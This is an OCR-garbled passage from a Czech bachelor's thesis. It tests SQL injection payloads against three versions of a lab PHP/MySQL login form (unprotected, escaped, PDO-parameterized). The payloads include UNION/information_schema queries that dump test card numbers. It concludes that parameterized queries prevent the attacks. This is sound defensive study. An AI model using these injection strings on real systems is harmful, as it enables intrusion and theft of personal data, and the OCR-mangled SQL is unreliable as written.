Tabulka 16 - nezabezpecend aplikace - information_schema 2

Ve chvili, kdy utocnik ziskal informaci o nazvech vSech tabulek v databéazi, tak mtze utok

prohloubit. Konkrétné muze opét s vyuzitim piikazu UNION a GROUP_CONCAT vypsat

nazvy sloupct dané tabulky. Zde se tedy uto¢nik dostal k nazviim tii sloupct v tabulce

ucty.

5.2.6 Technika pro ziskavani informaci o databazi

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT @@version, NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
@@version, NULL-- " AND heslo="xxx'

Odpovéd od DBMS

Ptihlasen jako: 10.1.38

Tabulka 17 - nezabezpecend aplikace - informace o databazi 1

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT database(), NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
database(), NULL-- " AND heslo="xxx'

Odpovéd od DBMS

Ptihlasen jako: testdb

Tabulka 18 - nezabezpecend aplikace - informace o databazi 2
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v

V ramci komplikovanéjSich ttokii mnohdy tuto¢nik potieba ja znat detailnéjsi udaje o
databazi i databdzovém stroji. V téchto dvou ptipadech s vyuzitim piikazu UNION, znalosti
struktury tabulky uzivatele a vestavénych funkci DBMS byl schopen utoénik ziskat

informace o konkrétni verzi databazového stroje a nazvu databaze.

5.2.7 Technika pro ziskavani informaci pomoci UNION

Uzivatelské jméno "UNION SELECT GROUP_CONCAT
(uzivatelJmeno) (cisloKarty,uzivatelJmeno),NULL FROM ucty--
Heslo (heslo) XXX

Zkonstruovany SQL dotaz SELECT uzivatelJmeno, jmeno FROM uzivatele

WHERE  uzivateldmeno="  UNION  SELECT
GROUP_CONCAT ((cisloKarty,uzivatelJmeno), NULL
FROM ucty-- " AND heslo="xxx'

Odpovéd od DBMS Ptihlasen jako: 5555444411112222admin,
1011255534447778kubaa,

1234567891011121petrl5
Tabulka 19 - nezabezpecena aplikace - ziskani dat pomoci UNION

Veskeré predchozi ukdzkové ptiklady jsou v podstaté pfipravou na findlni Gtok, kterym byva
extrakce dat pfes spojeni vice tabulek za pouziti pfikazu UNION. Zde tedy uto¢nik vyuzil
vSech ptfedchozich znalosti o tabulkdch a poctu sloupcii. Za pomoci piikazu UNION a
zietézeni vystupu pomoci GROUP CONCAT byly na vystup vypsany informace o
uzivatelskych jménech a k nim pfislusicich Cisel karet. Stejnym zptisobem by tto¢nik byl
schopen ziskat i CVV kontrolni kody a vtu chvili by disponoval moZnosti zneuziti

kreditnich karet osob v databazi.

5.3 Testovani aplikace zabezpecené escapovanim znakt

V ramci testovani zabezpe€ené aplikace pomoci escapovani znaki funkci z MySQLi byly

pouzity stejné vstupy a provedeny stejné testy jako v ptipadé nezabezpecené aplikace.
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5.3.1 Technika komentaru

Uzivatelské jméno (uzivatelJmeno)

admin' --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="admin\' -- * AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 20 - aplikace s escapovinim — komentdre

5.3.2 Technika vloZenych uvozovek

UZivatelské jméno (uzivatelJmeno)

admin' OR '1'="1

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="admin\' OR \'1\'=\'1"
AND heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 21 - aplikace s escapovinim -uvozovky

5.3.3 Technika zjiSt'ovani poc¢tu sloupcii

Uzivatelské jméno (uzivatelJmeno)

'ORDER BY 2 --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="" ORDER BY 2 --'
AND heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 22 - aplikace s escapovanim - pocty sloupcii 1

Uzivatelské jméno (uzivatelJmeno)

'ORDER BY 3 --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="\' ORDER BY 3 --'
AND heslo="xxx'

Odpoveéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 23 - aplikace s escapovdnim - pocty sloupcii 2
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5.3.4 Technika zjiStovani typa sloupci

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT 'a',NULL FROM uzivatele--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="\" UNION SELECT
\'a\'NULL FROM uzivatele-- ' AND heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 24 - aplikace s escapovanim - typy sloupcii

5.3.5 Technika utoku na information_schema

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT (SELECT
GROUP_CONCAT (table_name) FROM
information_schema.tables WHERE
table_schema=database()), NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="\" UNION SELECT
(SELECT GROUP_CONCAT (table_name)
FROM information_schema.tables WHERE
table_schema=database()), NULL--" AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 25 - aplikace s escapovanim - information_schema 1
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Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT (SELECT
GROUP_CONCAT(column_name) FROM
information_schema.columns WHERE
table_name ='ucty'),NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="\" UNION SELECT
(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns WHERE
table_name ='ucty'),NULL--" AND heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 26 - aplikace s escapovdnim - information_schema 2

5.3.6 Technika pro ziskavani informaci o databazi

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT @@version, NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="\'" UNION SELECT
@@version, NULL-- " AND heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 27 - aplikace s escapovinim - informace o databdzi 1

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT database(), NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="\" UNION SELECT
database(), NULL-- ' AND heslo="xxx'

Odpovéd od DBMS

Neplatné uZzivatelské jméno nebo heslo!

Tabulka 28 - aplikace s escapovanim - informace o databdzi 2
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5.3.7 Technika pro ziskavani informaci pomoci UNION

Uzivatelské jméno "UNION SELECT GROUP_CONCAT
(uzivatelJmeno) (cisloKarty,uzivatelJmeno),NULL FROM ucty--
Heslo (heslo) XXX

Zkonstruovany SQL dotaz SELECT uzivatelJmeno, jmeno FROM uzivatele

WHERE uzivatelJmeno="" UNION SELECT
GROUP_CONCAT(cisloKarty,uzivatelJmeno),NULL
FROM ucty-- " AND heslo="xxx'

Odpovéd od DBMS Neplatné uZivatelské jméno nebo heslo!

Tabulka 29 - aplikace s escapovdinim - ziskavani dat pomoci UNION

5.3.8 Shrnuti testovani zabezpecené aplikace

Po sérii testd dostupnych v ptedchozich 7 kapitolach lze konstatovat, ze aplikace
zabezpecend pomoci metody escapovani znakidl je rezistentni vici vSem typim SQLi
prezentovanymi v kapitole 3.5. Vysledné odpovédi od databaze byly ve vSech testovanych
pripadech shodné: Neplatné uzivatelské jméno nebo heslo! Nicméné je potfeba upozornit,

ze dostupny vzorek testd byl maly a dle odborné literatury je toto feSeni zastaralé.
5.4 Testovani aplikace s parametrizovanymi dotazy

V ramci testovani zabezpeéené aplikace pomoci parametrizovanych dotazt z knihovny PDO

byly pouzity stejné vstupy a provedeny stejné testy jako v ptipad€ nezabezpecené aplikace.

5.4.1 Technika komentaru

UZivatelské jméno (uzivatelJmeno) | admin' --

Heslo (heslo) XXX

Zkonstruovany SQL dotaz SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="admin' -- ' AND
heslo="xxx'

Odpovéd od DBMS Neplatné uzivatelské jméno nebo heslo!

Tabulka 30 - zabezpecend aplikace - komentdre
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5.4.2 Technika vloZenych uvozovek

Uzivatelské jméno (uzivatelJmeno)

admin' OR '1'="1

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="admin' OR '1'="1' AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 31 - zabezpecdend aplikace - uvozovky

5.4.3 Technika zjiStovani po¢tu sloupcii

Uzivatelské jméno (uzivatelJmeno)

'ORDER BY 2 --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" ORDER BY 2 --' AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 32 - zabezpecend aplikace - pocty sloupcii 1
Uzivatelské jméno (uzivatelJmeno) | ' ORDER BY 3 --
Heslo (heslo) XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" ORDER BY 3 --' AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 33 - zabezpecena aplikace - pocty sloupcii 2

5.4.4 Technika zjiStovani typa sloupci

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT 'a',NULL FROM uzivatele--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" UNION SELECT
'a', NULL FROM uzivatele-- ' AND heslo="xxx'

Odpoveéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 34 - zabezpecena aplikace - typy sloupcii
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5.4.5 Technika utoku na information_schema

Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT (SELECT
GROUP_CONCAT (table_name) FROM
information_schema.tables WHERE
table_schema=database()), NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
(SELECT GROUP_CONCAT (table_name)
FROM information_schema.tables WHERE
table_schema=database()), NULL--" AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 35 - zabezpecend aplikace - informat

ion_schema 1

UZivatelské jméno (uzivatelJmeno)

"UNION SELECT (SELECT
GROUP_CONCAT(column_name) FROM
information_schema.columns WHERE
table_name ='ucty'),NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns WHERE
table_name ='ucty'),NULL--" AND heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 36 - zabezpecend aplikace - information_schema 2
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5.4.6 Technika pro ziskavani informaci o databazi

UZzivatelské jméno (uzivatelJmeno) | ' UNION SELECT @@version, NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" UNION SELECT
@@version, NULL-- " AND heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 37 - zabezpecend aplikace - informace o databadzi 1

Uzivatelské jméno (uzivatelJmeno) | ' UNION SELECT database(), NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
database(), NULL-- " AND heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 38 - zabezpecenad aplikace - informace o databadzi 2

5.4.7 Technika pro ziskavani informaci pomoci UNION

Uzivatelské jméno

(uzivatelJmeno)

"UNION SELECT GROUP_CONCAT
(cisloKarty,uzivatelJmeno),NULL FROM ucty--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE  uzivatelJmeno="  UNION SELECT
GROUP_CONCAT (cisloKarty,uzivatelJmeno), NULL
FROM ucty-- " AND heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 39 - zabezpecend aplikace - ziskavani dat pomoci UNION

5.4.8 Shrnuti testovani zabezpecené aplikace

Po sérii test v pfedchozich 7 kapitolach, lze konstatovat, Zze aplikace zabezpecena

parametrizovanymi dotazy je rezistentni viéi vSem typtim SQLi prezentovanymi v Kapitole

3.5. Vysledné odpovédi od databaze byly ve vSech testovanych ptipadech shodné: Neplatné

uzivatelské jméno nebo heslo!
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6 Vysledky a diskuse

6.1 Hodnoceni vysledki

Vysledky testi tfi Grovni mozného zabezpeceni aplikace z velké casti odpovidaji
predpokladiim stanovenym v teoretické ¢asti. Aplikace, kterd nebyla zabezpecena zadnym
zpisobem a vykazovala Spatné programatorské techniky v testovani odolnosti viici SQLi
zcela selhala. Utoénik dokazal obejit prihlagovaci mechanismus, ziskat informace o struktuie

databaze a v neposledni fadé byl schopen dostat se K citlivym udajim v databazi.

Aplikace zabezpeCena metodou escapovani specialnich znakd je podle dostupnych
literarnich zdrojl ne zcela rezistentni vic¢i SQLi. Nicméné v rdmci série testll obstala.
Vsechny testy dopadly netispéSnym prihlasenim uzivatele. Lze tedy konstatovat, Ze tento
zpusob poskytuje jistou Groven zabezpeceni. Jelikoz vSak testovaci scénare nezahrnovali
veskeré mozné vstupni fetézce, nelze tento zptisob vzhledem k piedpokladiim z teoretické

¢asti zcela doporucit.

Aplikace zabezpefena metodou parametrizovanych dotazli v testovani obstala zcela podle

piedpokladii. Veskeré testy dopadly neuspésnym SQLi z pohledu tato¢nika.

v 4

6.2 Zobecnéni reSeni

Navrzené teSeni lze zobecnit. Sou€asné feSeni se vztahuje specificky ke kombinaci jazyku
PHP a databaze MySQL. Volba této kombinace byla v souladu s pomérnym zastoupenim
téchto technologii v ramci webovych aplikaci. Pfi feSeni bylo pouzito knihovny PDO
s funkcemi pro tvorbu parametrizovanych dotazli. Nicméné podobné knihovny je mozné
najit i v jinych jazycich a takika v§echny hojné pouzivané databaze obsahuji vlastni funkce

pro tvorbu parametrizovanych dotazi.

Pomoci principl z teoretické ¢asti by tedy bylo mozné implementovat rezistentni aplikaci

v takika libovolné kombinaci technologii.

63



6.3 Diskuse

Vysledky testii navrzeného feSeni zabezpeceni aplikace prokazaly, Ze spolehlivym
zpusobem ochrany a zejména prevence SQLi utokl je pouziti parametrizovanych dotazu.
V piipad¢ pouziti této techniky nemd uto¢nik moznost ovlivnit podobu dotazu. V ramci
konkrétni implementace pii pouziti PHP a MySQL je mozné zvolit ze dvou pristupi, jak
parametrizovat dotazy. V navrzeném feSeni je upfednostnéna PHP knihovna PDO pied
funkcemi MySQLi. Divodem pro tuto volbu je vétsi univerzalnost knihovny PDO, ktera je
kompatibilni s vétSinou modernich DBMS, kdezto MySQLi je feSeni zavislé Cisté na pouziti
databaze MySQL. Navic je tato funkcionalita dostupna az v poslednich verzich. Oproti tomu

PDO je kompatibilni i se star§imi verzemi PHP.

V zasad¢ lze konstatovat, Ze uplatnéni zejména zobecnéného feSeni je mozné na vSech
platformach (jazyk i DBMS), které¢ podporuji néktery zplisob tvorby parametrizovanych
dotazt (knihovny, sady funkeci).

Zabezpeceni pomoci escapovani znaku také obstalo v testech, ale nelze ho doporudit jako
primarni a zcela rezistentni ochranu proti SQLi. Toto feSeni by mélo byt vyuzito pouze
Vv krajnich pfipadech, kdy neni z néjakych diivodli mozné nasazeni parametrizovanych

dotazli (chybéjici knihovna).

Samotné navrzené feSeni ma i n€¢kolik tskali a slabin. Jednim z potencialnich problémi pii
implementaci feSeni na realné aplikaci je chyba lidského faktoru. OSetfené musi byt vSechny
uzivatelské vstupy, kterych u rozsahlych aplikaci byva mnoho. Vzhledem k charakteru SQLi
utoku i jeden neoSetfeny vstup miize kompromitovat celou databazi (zde jsou pro Gtocnika

velmi vitanym prostfedkem techniky pro zjiStovani informaci o databazi a schématu).

Dal$im zjevnym problémem navrzeného feSeni je jeho neintegrace S OStatnimi metodami
ochrany proti SQLi. U komplexnich aplikaci je zcela nezbytné zkombinovat ochranu na
urovni kédu (navrzené teSeni) s dalsimi metodami, jako naptiklad whitelisting, ktery je
obecné povazovan za nezbytny dopln€k parametrizovanych dotazti. U vétSich aplikaci by

meélo byt samoziejmosti nastavit vice stupiil ochrany.
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Vzhledem ke komplexnosti nékterych modernich kybernetickych 1utokii pomoci
automatizovanych nastrojii, kdy SQLi byva pouze jednou z ¢asti vétsiho atokd, je zapotiebi

kombinace sitové ochrany firewallem s dobrym programatorskym piistupem.

Nicmén¢ je vhodné konstatovat, ze vySe zminéné problémy a slabiny se tykaji pfedevsim
komplexnich aplikaci a pro jednoduché webové formulare a databazové skripty je navrzené

feSeni pomoci parametrizovanych dotazi zcela dostacujici.

Navrzené feseni poskytuje uceleny a velice piehledny zpusob, jak zajistit prevenci SQLi. To
je samoziejm¢ prednosti pied jinymi zplsoby ochrany. Neni vyjimecné, Ze vyvojai zna
hrozbu SQLi a pokusi se do svého kédu implementovat vlastni zptisob ochrany. Mnohdy se
jednd o velice komplikovana a nejasnd tfeSeni vyuzivajici naptiklad porovnavani vstupii
s ptreddefinovanym polem zakazanych znakl. Tyto zplisoby mnohdy vedou k faleSnému
pocitu bezpeci, protoze v drtivé vétsing pripadd jsou rezistentni pouze z malé ¢asti nebo

dokonce vubec.
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[ Zavér
Tato bakalaiska prace se zabyvala problematikou SQLi Gitoku a metodami jeho prevence.
Teoreticka Cast si kladla za cil vymezit a popsat principy databazi, jazyku SQL a utvofit

piehledny vycet nejpouzivanéjsich technik SQLi. Teoreticka ¢ast se dale zabyvala metodami

prevence SQLi a také dalSimi zplisoby ochrany proti SQLi ve vysSich vrstvach nad kédem.

Prakticka ¢ast fesila implementaci zabezpeceni zranitelné aplikace. Toto zabezpeceni bylo
poté spole¢né s nezabezpec¢enou aplikaci podrobeno sérii testa Skodlivymi fetézci. Vysledky
byly podrobeny analyze a zhodnoceni Uspé&$nosti SQLi u jednotlivych stupnii ochrany.

Navrzeni a ovéteni ochrany proti SQLi bylo i hlavnim cilem této prace.

Vysledkem prace je ovéfeny, uceleny navrh G¢inné ochrany proti SQLi na Grovni kédu a
doporuceni pro dalsi vrstvy ochrany pro komplexnéjsi aplikace. V préci bylo zjisténo, ze
metoda parametrizovanych dotazi s vyuzitim funkci z knihovny PDO je spolehlivym

zpusobem ochrany proti SQLi.

Hlavnim pfinosem prace je souhrn technik SQLi a zejména uceleny a dobie ovéfeny ndvrh
ochrany. Takovy navrh ma potencidl zjednodusit implementaci v realnych situacich a

zejmeéna sjednotit techniku ochrany proti SQLi.

Zranitelnost SQLi je v IT komunité znama jiz témét 25 let. Je tedy zcela legitimni otazka,
zdali toto téma neni uz neaktudlni. Bohuzel tomu tak neni. SQLi je stile velice béZnou
zranitelnosti. Jednim z faktorti, které napomahaji udrzet SQLi v popiedi Zebticku OWASP
Top 10 je samouka. K rozvoji samouky v oblasti IT dochazi béhem poslednich let za vyrazné
pomoci internetovych tutoriali a videi. Nicméné neni vyjimkou, ze tato videa obsahuji
neaktudlni nebo dokonce i zcela Spatné metody a informace. Jednim z piikladii takového
videa mize byt i , How to Make Login Form in PHP and MySQOL“*® Jedna se o video
s navodem na vytvoieni jednoduchého ptihlasovaciho formulare v PHP s databazi MySQL.
Video ma necelych 1,2 milionu shlédnuti*. Nicméné postup pii vytvaieni dynamického

SQL dotazu je zcela totozny S nebezpecnym pfistupem popsanym v teoretické Casti prace.

4 Dostupné na: https://www.youtube.com/watch?v=alsu9SPcGhU
4K 25.2.2022
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Sledujici téchto videi se mnohdy nachézeji na zacatku svého vyvoje jako programatofi.
Z ¢ehoz vyplyva, ze vice nez 1 milion potencidlnich novych programétorti hned na zacatku
svého vyvoje piebira velice Spatné, az nebezpecné navyky. A i to pfispiva k tomu, ze téma

SQL.i bude zcela jisté aktualni i po dobu nékolika pfistich let.
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